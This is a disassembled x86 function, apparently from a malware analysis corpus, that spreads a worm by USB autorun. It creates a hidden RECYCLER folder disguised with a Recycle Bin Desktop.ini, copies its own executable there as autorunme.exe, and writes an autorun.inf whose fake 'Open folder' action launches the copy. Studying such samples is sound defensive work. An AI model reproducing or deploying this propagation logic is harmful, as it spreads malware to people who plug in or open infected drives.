Function at 0x404d4d
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
and byte [ebp - 0x20c], 0
push ebx
push esi
mov edx, 0x80
push edi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
and byte [ebp - 0x410], 0
mov ecx, edx
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x40f]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
push eax
call esi
lea eax, [ebp - 0x20c]
push str.RECYCLER
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x20c]
push 0
push eax
call edi
test eax, eax
jne 0x404dcc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404f96
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x20c]
push 7
push eax
call ebx
lea eax, [ebp - 0x20c]
push str.S_1_6_21_2434476501_1644491937_600003330_1213
push eax
call esi
lea eax, [ebp - 0x20c]
push 0
push eax
call edi
test eax, eax
jne 0x404e0b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404f96
lea eax, [ebp - 0x20c]
push 7
push eax
call ebx
lea eax, [ebp - 0x20c]
push str.Desktop.ini
push eax
call esi
xor eax, eax
push eax
push 6
push 2
push eax
push eax
lea eax, [ebp - 0x20c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 1
jb 0x404f96
lea eax, [ebp - 8]
push 0
push eax
push 0x3f
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x404e69
xor esi, esi
jmp 0x404fc2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x20c]
cmp byte [eax], 0x5c
je 0x404e8c
dec eax
jmp 0x404e84
and byte [eax + 1], 0
lea eax, [ebp - 0x20c]
push str.autorunme.exe
push eax
call esi
lea eax, [ebp - 0x410]
push 0x201
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20c]
push 1
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20c]
push 7
push eax
call ebx
mov ecx, 0x80
xor eax, eax
lea edi, [ebp - 0x410]
cmp byte [ebp - 0x20c], 0x5c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [ebp - 0x20c]
je 0x404efc
inc edi
cmp byte [edi], 0x5c
jne 0x404ef6
lea eax, [ebp - 0x410]
push str._autorun__r_nopen
push eax
inc edi
call esi
lea eax, [ebp - 0x410]
push edi
push eax
call esi
lea eax, [ebp - 0x410]
push str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
push eax
call esi
lea eax, [ebp - 0x410]
push edi
push eax
call esi
lea eax, [ebp - 0x410]
push str._r_nshellopendefault1
push eax
call esi
mov ecx, 0x80
xor eax, eax
lea edi, [ebp - 0x20c]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x20c]
push eax
call esi
lea eax, [ebp - 0x20c]
push str._autorun.inf
push eax
call esi
lea eax, [ebp - 0x20c]
push 0x80
push eax
call ebx
xor esi, esi
lea eax, [ebp - 0x20c]
push esi
push 7
push 2
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 1
jae 0x404f9a
xor eax, eax
jmp 0x404fcb
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x410]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x404fc2
mov esi, dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret